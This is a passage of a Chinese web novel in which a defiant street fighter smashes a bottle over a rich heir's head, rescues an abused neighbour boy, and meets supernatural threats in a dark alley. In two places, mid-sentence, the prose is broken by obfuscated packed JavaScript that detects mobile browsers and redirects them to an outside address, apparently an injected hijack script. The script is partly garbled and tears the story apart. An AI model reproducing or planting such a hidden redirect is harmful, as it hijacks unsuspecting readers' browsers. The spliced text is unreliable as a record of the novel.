《我究竟是什么文的主角》 1. 第 1 章 天上人间,欲望天堂。 躁动的鼓点敲击着每一个来这里肆意放纵的年轻人的耳膜,香槟塔高高叠起,气泡升腾炸开。 这座金海市最奢华的酒吧,没人注意到角落里正在抽烟的青年。 明灭的火将他俊朗的眉眼照亮了几分,随即烟雾从淡红的薄唇吐出,又使他的面容变得迷幻起来。 手机震动,他拐进一旁的卫生间,外面的吵闹瞬间被隔绝。 他接起电话,那边声音响起。 “恙哥,听说你出车祸了,没事吧?” 吴恙将烟灭掉,语气淡淡:“没事,受了点轻伤。” 前几天他赛车的场地出了一场连环车祸,他的刹车片被人动了手脚,只能冲进突然出现的迷雾区,受到巨大的撞击后便晕了过去。 睁眼后他就身处医院了,听说他们那一轮十个赛车手只活了他和另一个人,另一人现在精神失常,而他只是受了点轻伤。 被动刹车片的只有他,其他人都是因为迷雾死的,所以被针对的只有他。 他让人调查动他车的人是谁,拖了好多关系,总算有了眉目。 电话那边犹豫了下,还是将他想要的消息一一告知。 容叙,金海市容家的太子爷,性子是众所周知的混不吝,在这纸醉金迷的繁华都市,跟他挂钩的桃色新闻不是豪车就是美女。 这座酒吧“Elysian”也是其名下的产业。 容家背后势力错综复杂,得罪容叙的人大多下场很惨。 而动吴恙刹车片要他死在赛场上,就是容叙吩咐的。 朋友最后叮嘱了一句:“容叙可不是好惹的,听我句劝,实在不行低个头,这事能过去就过去。” 挂了电话后,吴恙沉默了好一会,他又抽出根烟来,夹在指尖顿了顿,还是放了回去。 …… Elysian最顶级的包间内,深棕的真皮沙发上,几个青年慵懒地分开坐着。 外面喧嚣,而包间内倒是罕见的安静。 他们时不时看眼门口,像是在等人。 有人开口了:“观言怎么还没来。” “再等等吧,他说他在路上了。” 这时,门被打开,几人眼里正露出欣喜,却看到进来的是个服务员。 容叙皱起眉头,将手边的红酒瓶砸了过去。 “谁他妈叫你进来的?” 一瓶90年的罗曼尼康帝就这么被砸碎在来人的脚边,碎片炸开,他竟没躲开一步。 其他几人见状,也没可惜那昂贵的红酒,只是抱着或打量或幸灾乐祸的目光看向门口。 灯光微暗,看不太清那服务员的长相,却能感觉到对方骨相十分优越。 身量有一米八多,那紧窄的黑色制服勾勒出他若隐若现的肌肉线条,肩宽腰窄的。 倒有点说不明的性感。 吴恙走上前,他的容貌在灯光下逐渐清晰。 容叙脸色瞬间难看:“是你。” 其他几人在看到吴恙时,眼里都不约而同地露出诧异,他们面面相觑,似是想说什么,又什么都没说。 吴恙目光径直锁定最中间的男人,语气平静:“容少,之前的事多有得罪,但你已经搞过我一次,我们算两清怎样?” 其他几人惊讶地看向容叙,眼神在问:你把他上了? 容叙气急败坏:“你乱说什么,我可看不上你。” 吴恙皱了皱眉,冷声质问:“派人在我刹车片上动手脚的不是你?” 那几个凑近吃瓜的人看上去很失望,随后又坐回自己位置,好整以暇地继续看这场闹剧。 容叙倒没否认,他扬起眉梢,一副肆意妄为的无赖模样:“是我,那又如何。” 吴恙眼底划过一抹冷厉,他确信这人真的想搞死他。 面前的公子哥是真的不拿人命和法律当回事。 他压下心头的火,拳头攥了攥,又松开:“既然如此,我们恩怨两清?” 按照他的脾性,以往碰到这事早都揍对方脸上了。 要不是他一个兄弟跟容叙底下的场子有了摩擦,他帮着兄弟打了对方的手下,他也不会主动来求和。 按理说这些都是小事,容家太子爷也不会过多在意,可偏偏就是对方让人剪了他刹车片。 强龙不压地头蛇,他要还想在这金海市混下去,就不能跟容叙闹得太僵。 他差点死了一遭,这容家太子爷也该消气了吧。 寂静的包间内,容叙忽地轻笑一声,他抬脚搭在水晶茶几上,那双定制的Berluti皮鞋微微上翘,鳄鱼皮的纹理恰到好处地彰显他的尊贵和傲慢。 他玩味地勾起唇,“求人可不是你这态度。” “这样吧,跪下,然后把这里的酒全部喝完,我就放过你。” 他下颚轻扬,指了指茶几上十几瓶红的白的。 旁边有个人嬉笑:“这些一瓶都要十几万,看容少对你多大方。” 吴恙沉默地走上前。 在周围恶意玩味的目光中,他拿起一瓶红酒,好奇地看了下瓶身上的文字。 全是法文,看不懂。 忽然他抄起酒瓶就砸在容叙头上,破碎的声响以及男人痛苦的闷哼声共同响起,那红酒哗啦啦从容叙那张矜贵俊美的脸上流下,不知道是血还是酒,糊了他一脸。 狼狈得很。 容叙忽然被开瓢,这谁也没能想到。 “别说,十几万的声响确实跟普通啤酒瓶不一样。” 周围人都是一惊,随后吴恙就掐着容叙脖子语气变得狠戾:“叫你一声容少,还真把自己当成玩意了。” 那几个人半晌回不过神来。 他们都盯着那将容叙擒着的青年,对方面部轮廓硬朗而利落,很帅气,有种孤狼的桀骜和凶狠。 他微微抬眸,双目寒星冷芒,丝毫不将他们放在眼里。 他们这群人到哪都是被人捧着的,哪被人这样看过,那看垃圾一样的目光令他们气急,又莫名生出一股颤栗。 容叙差点被砸晕,回过神来气得大骂:“你他妈的找死!!!” 吴恙居高临下地盯着血和酒糊一脸的男人,嗤笑一声:“你不就想弄死我?” 他从喉间懒懒地扬起一个音节:“嗯?” “现在咱两面对面,看谁先死?” 容叙哪里受过这种待遇,他死死地瞪着面前的男人,不知道是血还是酒液将他的眼睛染得猩红,满是杀意。 “喊人!喊人过来,我要他死!” 他咬牙切齿地低吼,显然是让其他人喊手下过来。 他就不信,在他的地盘,他手下那么多人,对方能活着从这里离开。 威胁他?他会让他后悔活在这个世界! 吴恙也没阻止其他人叫人,他掐着容叙脖子的手更加用力,语气是比容叙之前更甚的嚣张无赖。 “我就是个孤儿,把你容家太子爷一起带走,倒也不亏,反正你本来不就想弄死我?” 他拍了拍对方的脸颊,一副轻贱和侮辱的意思。 容叙瞳孔微缩,他有那么一瞬间感觉到,对方是真的打算跟他一换一。 他不是没见过亡命徒,那些人的狠大都是被逼到绝境前的反扑。 但吴恙并非如此,他这种更像是,能活就活,不能活也无所谓。 俗话说软的怕硬的,硬的怕横的,横的怕不要命的。 他容叙今天竟真招惹了个不要命的。 旁边有人反应过来,好心劝道:“兄弟,你今天来不就是要跟容叙解决矛盾的?今天我们几个在场,大家都心平气和的,你放过他,我们也放过你,如何?” 他们这帮狐朋狗友哪在意容叙死不死的,但容叙今天可是跟他们在一块,要真死了,他们也得受牵累。 容叙的手下这时也冲进包间,十来个高壮男人将包间围得水泄不通。 又有一人说:“你要真动了容叙,你今天也走不出这里,这样,我让他们退下,你放开容叙离开。” 吴恙挑起眉:“可我要是离开了,他还是得弄死我。” 那人额头都沁出汗来,他还是头次碰到这棘手事。 他看了眼快被掐昏厥的容叙,又看了眼神色淡淡根本不在意进来十几个人的吴恙,声音里充满无奈: “那你怎么才肯放过他,我知道你来肯定不是为了死,你说出你的要求,我们能做尽力做。” 吴恙懒懒一笑,拿出手机打开录像功能,对向那几人:“这样吧,你们几个每人讲一个他的秘密,越炸裂越好,到时候他再找我麻烦我就把这些曝光出去。” 那几人面面相觑,显然对吴恙的条件感到意外。 他就不怕他们瞎说吗? 吴恙似是知道他们所想,意有所指道:“你们要不知道说什么的话,编得炸裂点也行。” 他们终于明白,这人就是看在他们都是有头有脸的人,就算是他们编的秘密,曝光出去也会有一大部分人相信是真的。 几人目光落在快半死不活的容叙脸上,眼中划过一丝同情。 看来容叙这次是真的踢到铁板了。 …… 那十几个保镖都退到了门外,包间内寂静了好半晌。 吴恙有些不耐烦,好心提醒:“再不说,他就快被我掐死了。” 容叙气息奄奄,好一会没喘上气,窒息感令他脑子都开始发晕了,要不是靠着愤怒,他现在早昏过去了。 他迷迷瞪瞪地想,自己今天怕不是真得交代在这了。 见容叙脸色不好,总算有人出声。 “这样吧,我告诉你一个容家的秘辛,有关容叙身份的,他是他爸的弟弟,容老爷子为了给他一个正式的身份,让他爸娶了自己的情妇。” 这个事在他们圈子倒不算秘密,只不过大家都是私底下说,谁也没摆在台面上。 另外两人震惊地看向说话的那人,眼神在说,你竟然讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814673|158659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的? 那人耸了耸肩,无辜解释:“我是为了救容叙,他会理解的。” 吴恙注意到他,戴着一副金丝眼镜,看上去温文尔雅,很是良善的感觉。 但能跟容叙交好,怎么看都像个斯文败类。 他能看出对方说的是真话,吹了个流氓哨,点评:“你们有钱人玩得真花。” “下一个。” 剩下的两人脸色稍显难看,他们并不是为了容叙而不高兴,只不过是不喜欢这种刀架在脖子上的感觉。 吴恙出声催促:“快点吧,容家太子爷小命在你们手里呢。” 那两人怨念地看他一眼,心中腹诽。 你要不看看掐在容叙脖子上的手是谁的。 另一人总算开口:“容叙不喜欢女人。” 这个秘密倒是让吴恙感到意外,他思索了下,还是没忍住好奇问:“他不是有不少女明星的桃色绯闻?” 那人看向他,语气半真半假:“这些当然是为了掩盖真相啊,你说他这身份身边没个女人,说他洁身自好谁信?” 吴恙分不清真假,但他只要这些人亲口所说就行。 他轻嗤一声,看向最后一个。 那人也不知道该说什么了,其实关于容叙的秘密还有很多,但很多说了会影响自家生意,所以大家都不约而同地选择了桃色八卦。 到时候就算真曝光了,也影响不大,最多就是让容叙丢脸。 他们也乐见其成,所以都“被迫”讲了真话。 最后一个人思考了下,终于开口:“这样吧,我告诉你他为什么不喜欢女人。” 吴恙挑眉,很感兴趣:“哦?你说。” “他对女人硬不起来。” 吴恙认真盯了那人好一会,确定不是假话后,便结束了录像。 他松开手,抱起胳膊居高临下地看向狼狈至极的容叙,嘴角忽地勾起,笑里尽是玩味。 容叙半晌才顺过气,他头晕目眩,还是睁大眼睛瞪向面前的吴恙,恨不得用目光杀死对方。 然而吴恙却轻蔑地扫向他下面,那双淡色的薄唇勾出嘲弄的弧度。 “容少,你不举啊?” 容叙眸子针缩一瞬,怒意如火一般窜到大脑,刚刚还没晕,此刻他真的晕了。 被气晕的。 吴恙见状,耍赖般地耸了耸肩,随意将手机塞进兜里,便对其他几人微笑挥手。 “走了啊,多谢兄弟们配合。” 声调懒散,自然的就像是离席时跟朋友随意打声招呼。 吴恙就这样光明正大地走了,背影很是潇洒。 他没看门口那些保镖一眼,十分堂而皇之的姿态,里面也没人出声阻拦。 那些保镖不明所以,也不知道要不要阻拦。 等吴恙走了好一会,包间内有人笑出声。 是戴着金丝眼镜的那位。 李政昱漆黑的双眸折射出异样的光,那张温和从容的脸因为笑容加大而显得怪调起来,他因为笑得太开心,肩膀也跟着颤抖起来。 旁边的青年悚然看他:“你笑这么变态干啥?” 李政昱还看着门口,仿佛还在看那个离开的背影,他弯起唇,眼里兴味十足。 “他多有意思啊,不是吗。” 吴恙离开的时候并非表面装的那么淡定,从龙潭虎穴走出,多少有些提心吊胆。 他都准备动手了,结果那些保镖竟没追过来。 一帮蠢货。 他加快步伐,打算趁那些人没缓过神来离开这里。 正拐过弯,他与一个人相撞。 那人被他撞得趔趄向后,吴恙心思不在这上,随口道了个歉便离开了。 他没注意,那人看他的目光很惊讶,那完全不是陌生人该有的眼神。 “你……” 吴恙听到背后有人喊他,但他也没管,径直便离开了。 …… 谢观言走进包间,便看到里面乱作一团,似是容叙被人拿酒瓶开瓢了,保镖们正手忙脚乱地送他去医院。 他眸底浮现一抹惊讶。 “发生什么事了?” 几人见他到来,纷纷露出喜色,但因为刚刚的事,此时表情显得格外复杂。 “观言,你来了。” 谢观言很快就知道了一切,猜到是刚刚那个意外撞到的男人搞的,他心底的好奇越发浓重。 “对了观言,那个人,长得挺像……” 李政昱开口,他没说到最后,但在场所有人都知道他想说的是谁。 谢观言敛眉笑了笑,他性子一向清冷淡漠,总给人一种飘在云端的疏离感,此时倒有几分看不透的意味深长。 “确实很像,或许他就是我家要找的人。” 李政昱指尖轻抬,推了推鼻梁上的金丝眼镜,镜片后的双眸微眯起来,嘴角勾出似有若无的深意:“那看来,容叙之前要搞死他, 该不会是因为这事吧?” 2. 第 2 章 吴恙回去后,就跟之前玩的兄弟们通知了一声,让他们对外声称跟自己没关系。 至于之前的联系,解释成他是个雇来的打手,事情结束后就联系不上了。 他知道自己得罪了容叙,往后一段时间都怕是不得安宁,容叙也定然不会因为那段录像就忍气吞声。 毕竟都不是切实牵动容家利益的东西,就算曝光也只是图一乐。 他已经能想象到容叙的疯狂报复。 但吴恙也没那么怕,他要真怕,当时就不会选择砸容叙脑袋了。 他命是不值钱,但真给人舔鞋当狗,他可干不来。 而且,他可是主角啊,总会逢凶化吉的吧。 想起这个,吴恙自己都忍不住笑了。 有时候他都怀疑自己小时候是不是幻听了,这么多年,还一直跟小孩似的,坚定地相信自己是这世界的主角。 不过也是因为这信念,他只要想做,就没有不成功的。 他不怕得罪人,从小到大干的仗数都数不过来。 小时候他选择隐忍,得到的不过是更厉害的欺凌,所以他选择反抗,用拳头打回去。 那之后他再也没被欺负过了,他变强了,也赢得了尊重。 小时候欺负他的小胖子现在见他都还得恭敬喊一声恙哥。 吴恙从朋友口中得知,这些天一直有人打听他的去处,不用想也知道是容叙的人。 不过只要他想躲,这么大的金海市谁也找不到他。 吴恙躲了几天,他现在住的地方是个破小区,几百块钱就能租一个月,也不用登记信息。 屋子隔音很烂,总能听到隔壁有男人砸东西打骂的动静。 他做完两百个俯卧撑后,又听见了隔壁那男人酒后骂骂咧咧的声音。 “小兔崽子,看老子打不死你。” 一开始吴恙并不想多管闲事,但连着几天,那男人一喝酒就回来打孩子,动静闹得很大,周围也有不少人上门劝说。 就算叫了警察,也没人阻止得了对方继续家暴。 听说那男人老婆就是因为他家暴跑了,留下个孩子天天受这罪。 吴恙实在忍不了了,他到那家门口一顿哐哐砸门,等那男人开了门,二话不说直接一脚踹上去。 男人被踹得很远,几乎被踹到另一面墙上,然后软趴趴滑下来。 他疼得龇牙咧嘴,半晌才又害怕又愤怒地看向门口的人:“你是谁?” 吴恙将室内看个干净,那中年男人长着一副被烟酒掏空身体的长相,胡子拉碴的,猥琐又胆小。 他之前似乎还听到过有人上门讨债,说是这人爱赌博,欠了不少钱。 他眯起眼,一张硬朗帅气的脸带了几分凶悍戾气:“废物东西,你欠的钱该还了。” 男人脸色一变,赶忙求饶:“不是说好了再给我几天,这我从哪搞那么多钱啊。” 吴恙不动声色地打量了眼角落里的男生,穿着件高中校服,但看着很瘦小,说是初中生也有人信,脸上全是伤,过长的头发将眼睛全部挡住,看着很阴郁。 室内昏暗的灯光照在男生身上,将他的影子投向背后的墙面,忽然,那黑影膨胀起来,像触手一般伸出无数只黑手,似是要将男生拉扯进黑暗里。 吴恙愣了下,再次看过去,那黑影不变,并没有什么怪异的地方。 他揉了揉眉心,他刚刚应该是眼花了。 都怪这老登,天天吵闹,害他都没休息好。 他走到中年男人跟前,又一脚踹上去,信手拈来地演起上门的债主。 “老子可等不了那么多天了,这样吧,我给你个方案,我带你去捐点器官,很快钱就凑够了。” 男人吓得浑身哆嗦,哭丧着脸磕头求饶,他突然想到一件事,抓过自己的儿子就说:“你用这小子的器官,他年轻,器官也好!” 吴恙心中冷笑,果然是个人渣。 那男生没有说话,似是毫不意外这样的发展,他浑身透露着绝望,从凌乱的发中露出的眼睛,未见一点光亮。 吴恙拎着那男生的衣领,语气很冷:“行,那这小子我带走了,之前的债一笔勾销。” 中年男人大喜过望,他欣喜于自己的儿子卖了一个好价钱,平了他那么多债,贪婪得意的嘴脸,丝毫没有一个父亲该有的模样。 吴恙冷哼一声,拎小鸡仔一样拎着那男生便离开了。 门被重重关上。 男生被拽着很不舒服,但他也不敢反抗,他神色麻木,等着前往地狱。 然而,另一道门打开,吴恙就拉着他进了他家隔壁的屋子。 男生愣了下。 只见刚刚那凶狠得好像能杀人的男人随意地坐在沙发上,冲他招了招手。 “家里有些简陋,随便坐。” 男生呆呆地看向他,这个窄小的屋子里,浅黄的灯光照在男人的脸上,将他凌厉的眉眼掺了几分柔和。 他忽然发现,这个男人长得很帅,特别帅。 男人歪了歪头,笑得痞气又无赖:“别怕,我不是要债的,刚刚那都是骗你爸的。” 骗人的? 他瞳孔震颤一下,麻木的大脑似是终于转动起来,他声音干涩地问:“你究竟是谁?” 吴恙撩起眉梢笑了: “你好心的邻居哥哥啊。” …… 夕阳在天边晕染,余晖似破碎的金缕,透过一排排逼仄破旧的楼房,将这片黑斑似的穷人区照得斑驳陆离。 穿着高中校服的瘦弱少年,将脸埋进领口大半,紧张地往里走。 明明是自家的方向,但他走得很是慌张,生怕周围有人认出他来。 周知鹤进入昏暗的楼道,停在自家门口,随即拐了个弯,进了旁边的屋子。 这个窄小的屋子只有太阳落下时才能照进些光,明明只挤进那么点光,却能将这破烂封闭的地方照得亮堂许多。 这个房子跟他家的布局差不多,客厅随便放个沙发就拥挤得不像话。 小的只能挤进一人的厨房卫生间,只能放一张床的卧室,总是给他窒息的感觉。 但这里,他并不觉得窒息。 客厅唯一的沙发上,那个男人正咬着根烟,姿态慵懒地玩着手机游戏,烟并没有点燃,客厅里也没他讨厌的烟味。 看到他回来,男人抬起眼,因为咬着烟而声音有些含糊。 “回来了啊。” “嗯……” 已经三天了,仿佛一场梦,他从噩梦一般的家,搬到了家的隔壁,仿佛进了天堂,还认识了面前这个好心的邻居哥哥。 那天男人跟他说,想留下,就留在这,想走,那出门左转就可以回家。 他不想回家,不,那里根本就不是他的家。 他说:“我爸已经把我卖给你了,我不回去。” 于是他留在了这里。 男人看着像无业游民,每天都待在家里,不是打游戏就是睡觉,他连吃饭都只会煮个泡面。 看着是个很不靠谱的成年人。 但周知鹤却从未有现在这般安心。 他很感激对方。 这几天他又去学校了,只要刻意避开父亲,他该上学上学,该回家回家。 还好他那个父亲每天沉溺于喝酒赌博,他们也几乎遇见不到。 其实他很害怕,害怕会撞见父亲,害怕现在美梦一般的生活再次被破坏。 但吴恙却懒洋洋告诉他,他爸的报应快到了,等那些要账的人出现,对方就再也没一个儿子能卖了。 他忍不住浑身颤抖,是兴奋的。 他等待那一场好戏,就在这一墙之隔,见证他那父亲该得的报应。 周知鹤将鞋子摆整齐后,犹豫地问:“你晚上吃什么?” 吴恙输了游戏,便将手机扔到一旁,他将嘴里咬的香烟扔到烟灰缸里,站起身活动了下肩膀。 “煮泡面,今天吃番茄牛肉面怎样?” 周知鹤有些无语,他来这里三天,天天吃不同口味的方便面,哪怕加鸡蛋和青菜,也有些吃不消了。 他发现,这个男人大概只会煮方便面。 他抿了抿唇,还是主动揽下做饭的活:“我来做吧。” 以往他在家就是自己做饭,做得还行。 而且,他想多做点事,证明自己的价值,好让吴恙继续留下他。 家里的食材不多,周知鹤煮了个青菜粥,还炒了个两样菜,味道很不错,吴恙不由竖起拇指。 “小子,做得不错啊。” 周知鹤微微垂头,过长的头发遮住他的眉眼,却没遮住他已经红透的耳朵。 吴恙挺满意这小孩的,乖得很,会做饭,而且学习也好,听说是学校年级前排。 也不知道他爸怎么想的,这么好的苗子不好好培养。 吃完饭,吴恙抽出一沓钱,给了周知鹤。 周知鹤愣住,他不明所以地看向男人。 吴恙语气很随意,就像是随口说自己要出门一样。 “这些钱是我现在身上所有的现金了,都留给你吧,这房子我租了三个月,你继续住就行。” “过两天你爸应该就不会再出现,你好好上学,考个好大学,离开这里。” 周知鹤呆在原地,很快他慌乱无措起来:“你要走?是我在这里碍着你了吗……” 吴恙揉了揉少年的头发,笑道:“我还有事要干,不能继续在这住了,别想那么多,我电话留给你了,有事可以找我。” 他想起什么,又提醒了下:“不是什么重要的事别联系我啊,哥很忙的,也不能一直管你,你的人生还得你自己负责。” 他拍了拍少年的肩膀,将自己手机和证件塞兜里就离开了。 周知鹤呆呆地看着男人的背影,他伸出手,想要拉住对方,或者跟对方走。 但那人走得太潇洒了,仿佛带着他就是累赘。 眼泪从脸庞滑过,落在地板上。 他蹲在地上,身后的黑影又再次扩大,狰狞了一瞬。 “哥,能不能别走……” …… 吴恙离开了那片穷人区,去了一趟迁平园,朋友介绍了个私活。 是当地下拳手的。 他没好的学历,出来到社会上也找不到什么好工作,但他挺能打架的,于是打过几次地下拳赛。 来钱倒挺快。 他没正经学过拳击,地下拳赛也不需要多正规,能打赢就行。 吴恙到现在还没输过,每次去赚的钱够他摆烂一阵的。 他猜过这次拳赛可能会被容叙找到,要不是把钱都给了那小孩,他也不会提前出来赚钱了。 反正他也不怵容叙,真找到了就找到呗,再来一次看谁先倒霉。 迁平园是个酒吧街,人员混杂,最热闹的便是地下拳赛。 吴恙听说今天跟他对打的是个老外,他绑好绷带,有些厌烦地皱了皱眉。 两方拳手跳上拳台,周围欢呼声很大。 那跟他对打的老外目光黏腻地盯着他赤裸的上半身,还故作下流地顶了下胯。 “宝贝,你不该在这里,你该在我的床上。” 吴恙笑了,虽然听不清对方叽里咕噜的鸟语,但戴拳套前,还是给对方比了个中指。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814674|158659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “傻逼。” 拳台在最下方,八角笼的形状,观众席呈阶梯状层层升高,座无虚席。 昏黄的顶灯洒下朦胧光晕,夹杂着从四周高处射下的几束强烈聚光灯,将擂台照得亮如白昼,也将那高挑帅气的年轻男人照得清清楚楚。 他上身赤裸,身材是并不夸张的薄肌,恰到好处的利落紧致,当他微微弓身时,背部的线条似猎豹静伏,潜藏着致命的爆发力。 当比赛哨声吹响的那一刻,他率先出手,一个健步向前,右拳如出膛炮弹般直击对手脸颊,拳风凌厉,不带丝毫的拖沓。 那老外也不是简单的,很快就侧身闪躲,同时迅速扫腿攻击吴恙的下盘。 吴恙也反应很快,他躲开后顺势一个侧踢,将对方踹倒在地。 他的动作行云流水,干净利落得不像话,令场上的观众尖叫连连。 所有人都在注视着这个年轻男人,他哪怕面对体型大他很多的壮硕对手,也丝毫不落下风,他身上是毫不掩饰的无畏和自信,让他性感得令所有人心悸。 容叙就坐在视野最好的观众席上。 他看到那老外拳手被吴恙压着打时,心里骂了好几次废物,毕竟这拳手是他找的下手狠的,他本想在拳赛中弄死吴恙。 后来,他目光不由黏在吴恙的身上,心跳莫名加快。 他想起对方之前掐着他脖子居高临下的嚣张劲,但他不想承认也得承认,真他妈的帅。 不过拳手打不过,他也不慌,他还有后手。 他只要一想到之后吴恙会像只被打断爪牙的猎豹,任他出气折磨,就忍不住浑身战栗。 很快,吴恙就将那老外击倒在地,将对方打得服服帖帖,再也起不来。 他举起手,张扬笑着,狂得不像话。 全场都在为他尖叫。 更衣室里,吴恙拿到一笔非常丰富的报酬,那拳场老板连连夸他,让他有空多来打拳。 吴恙淡笑着点头,穿上衣服便离开了。 他想想一会该去干嘛。 有些饿了,去吃个夜宵吧。 走到暗巷,他走了一会便停下脚步,他目光凌厉地扫了眼周围,冷笑出声:“出来吧。” 容叙带着一帮人出现,十几个人,前后都有,将他包围在中间。 吴恙像是毫不意外,目光径直落在容叙身上,他吹了声口哨,似笑非笑道:“哟,容少,这么快就出院了?” 那欠揍的神情,令容叙恨得牙痒痒。 容叙一张俊脸都笑得狰狞起来,咬牙切齿道:“吴恙,你少嚣张,看老子今天弄不死你。” 说罢,他便让手下动手。 十几个人像人墙一般包围住吴恙,几乎密不透风,他们满脸凶狠,气势汹汹地瞪着这个之前不小心放过害他们被容少骂一顿的男人。 昏暗狭窄的巷道内,气氛剑拔弩张,有人按捺不住,冲了上去。 吴恙目光冷静锐利,哪怕被这么多人围攻,他也没有丝毫畏惧。 他身形一闪,躲过了攻击,身后有人偷袭,他像是背后长了眼睛,矮身躲过后一个扫堂腿便将那人绊倒。 吴恙是很能打,但他体力也有限,之前在拳场耗了不少力气,现在面对十几个人还是有些吃力。 他咬着牙,眼神变得更加狠戾。 与十几个人打比跟一个对手打费劲得多,他还得小心时不时从侧边后面出现的偷袭,打倒一个后另一个接着冲上来,根本没喘口气的时间。 在所有人觉得他该没力气时,他反而速度变得更快,势头更加勇猛,他一下子震慑住所有人,让那些袭击的人进攻节奏慌乱起来。 打趴下最后一个保镖,吴恙吐出嘴里的血沫,哪怕他嘴角因为刚刚被偷袭青紫了一块,也丝毫不减他的帅。 他冲着目光难掩震惊的容叙笑了笑,走上前去。 他拳头捏得咯咯作响,威胁性十足。 “容少,怎么不多待医院好好治一治你那不行的毛病,偏偏要过来招惹我呢?” 容叙脸色瞬间难看极了。 他忽然想到什么,眼里露出一抹阴狠。 他手伸进大衣口袋,似是要取出什么东西。 吴恙怀疑是枪,警惕地向后退了一步。 可容叙拿得并不是枪,而是一只塑胶感的血红眼睛。 吴恙愣了下,随后便看见那眼睛冲他眨了一下,红色的眼瞳化成弯月般的嘴,发出尖锐诡异的笑声。 “哈哈哈哈哈哈……” 在那笑声中,他听见容叙势在必得的声音:“吴恙,我知道你很能打,所以老子花重金买了个好东西,专门用来对付你的。” “你不是说我不行?那试试看,等我把你四肢打断,像狗一样拴在我床上时,老子亲自给你证明一下我行不行。” 吴恙听不太清后面容叙说的话,他感觉自己的大脑变得混乱起来,一睁眼便感到眩晕,他赶忙闭住眼睛。 他知道是容叙搞得花招,他必须要在丧失攻击力前打趴对方。 身形矫健的男人凭着记忆冲上前,想要一拳打倒对方。 可诡异的事,他想要迈出左脚时,却迈了右脚,差点一个踉跄,他要挥出右拳时,却左拳砸到旁边的墙上。 操。 疼死了。 吴恙抱着疼痛的左拳想要吹吹,结果吹的是右拳。 他的动作与思维截然相反。 见鬼了,容叙到底搞了个什么玩意。 耳朵倒还能听到些声音,他听见容叙得意地介绍他这个鬼东西。 “这可是能混乱五感的诡器,吴恙,这次你死定了。” 3. 暗巷的尾随者 幽深的巷道宛如一条择人而噬的巨蟒,狭窄而蜿蜒,急促的喘息声在逼仄的空间里回荡,身后有无数脚步声逼近。 吴恙闭着眼,摸着墙边的方向快速奔跑,只要碰到个拐角就拐弯。 他大概率摸清楚那五感混乱的规律,只要他想着用右手,伸出左手就行。 只不过这种身不从心的感觉十分混乱,好几次他都差点左腿被右腿绊倒。 他知道自己这次大意了,所以才会被容叙给阴了,不过他怎么也没想到对方还能有非人的手段。 之前处境凶险,他稍作思量,在没打到容叙后转身就跑了。这五感混乱的时间不知道要多久,或许离开了范围他就能恢复。 身后有几个还有行动力的保镖追了上来,听声音大概有六七个,就连容叙也亲自追了上来。 他分不清那些人的方位,只能闭着眼摸索着墙面往前冲。 男人跑得很快,风在他耳畔呼啸,硬质的风衣猎猎作响,尽管他没有视野,五感混乱,也只是在一开始有些不便,适应了后便像只矫健的猎豹,将那些人甩到身后。 吴恙一边细听周围的动静,一边控制着身体的平衡,现在的处境简直是地狱级难度。 他心里已经把容叙这老阴比祖宗十八代都问候了个遍。 容叙在后面追得气喘吁吁,他没想到,被诡器影响了五感的吴恙,还能跑得那么快。 按照他的计划,对方早该惊慌失措地向他跪地道歉了。 妈的,看他逮住对方非得把对方的腿打断。 前前后后加上吴恙共八个男人,他们跑了很久,久到容叙的手下察觉到不对劲。 “容少,我们之前就经过这条路了。” “这条巷子怎么这么长,太不对劲了!” 不仅是容叙的手下察觉,吴恙也发现了不对劲。 他有在心里画地图,之前他经过这里,按理说第三个拐角他就该跑到大路了,但他已经拐了七个角,现在他所处的拐角上有个凹槽,是他第三次摸到的。 他心想这不会又是容叙搞的吧,整了个鬼打墙? 吴恙听到那些脚步声越来越远,直到没跟过来,他脚步也停了下来,竖起耳朵细听周围的动静。 周围静的很,只剩下他稍快的心跳声,莫名的诡异。 一阵阴风吹过,吴恙似乎感觉背后有东西,浑身瞬间紧绷起来。 他的五感依旧混乱,却能感觉到有东西贴在他的脑后,冰凉的长发拂过他的面颊,一道阴恻恻的女声贴着他的耳边:“是你吗?” 吴恙大脑在极度紧张下想了很多办法,这现在突然出现的东西已经不能用科学解释了,所有的思维也全部汇成了一个字。 跑!!! 他再次跑起来,此时大脑飞速旋转,也时刻谨记想左脚时迈右脚,这次也不摸索墙面了,直接照着脑子里的地图闭眼狂奔。 当他拐过一个角时,突然有人拉住了他。 吴恙下意识就要给对方一个过肩摔,但听到对方的话后,立马就停了动作,也任由对方将自己拉去另一个方向。 “往这边来,那女鬼发现不了这里!” 吴恙被不知道从哪出现的男人带去一个隐蔽的角落,他虽然任由对方抓着自己,但身体依旧处于防备的状态。 若是对方有什么异动,他随时能迅速做出反击。 吴恙和男人一起躲着,他心跳剧烈跳动,尽可能地调节呼吸,让自己喘息声轻些,他的脊背紧张弓起,如同静伏的野狼,随时还会再爆发出力量。 终于,那男人松出一口气,低声道:“没事了,女鬼离开了。” 吴恙感觉到身体一轻,似乎那五感混乱的影响开始消失,他睁开眼,缓了一会后,终于在昏暗的光线中看清身旁的人。 那是个穿着白衬衫,戴黑框眼镜,手里提了个公文包,一副老实巴交长相的中年男人。 他后退一步,一脸防备:“你是谁?” 男人愣了下,顿时不高兴起来:“我还能是谁,我就是个普通人。 我也不知道怎么被卷进来这个诡异游戏里,刚刚看你被女鬼追才想着拉你一把。” 他没好气地又哼了声:“你这小子不感谢我,倒还防备起我来了。” 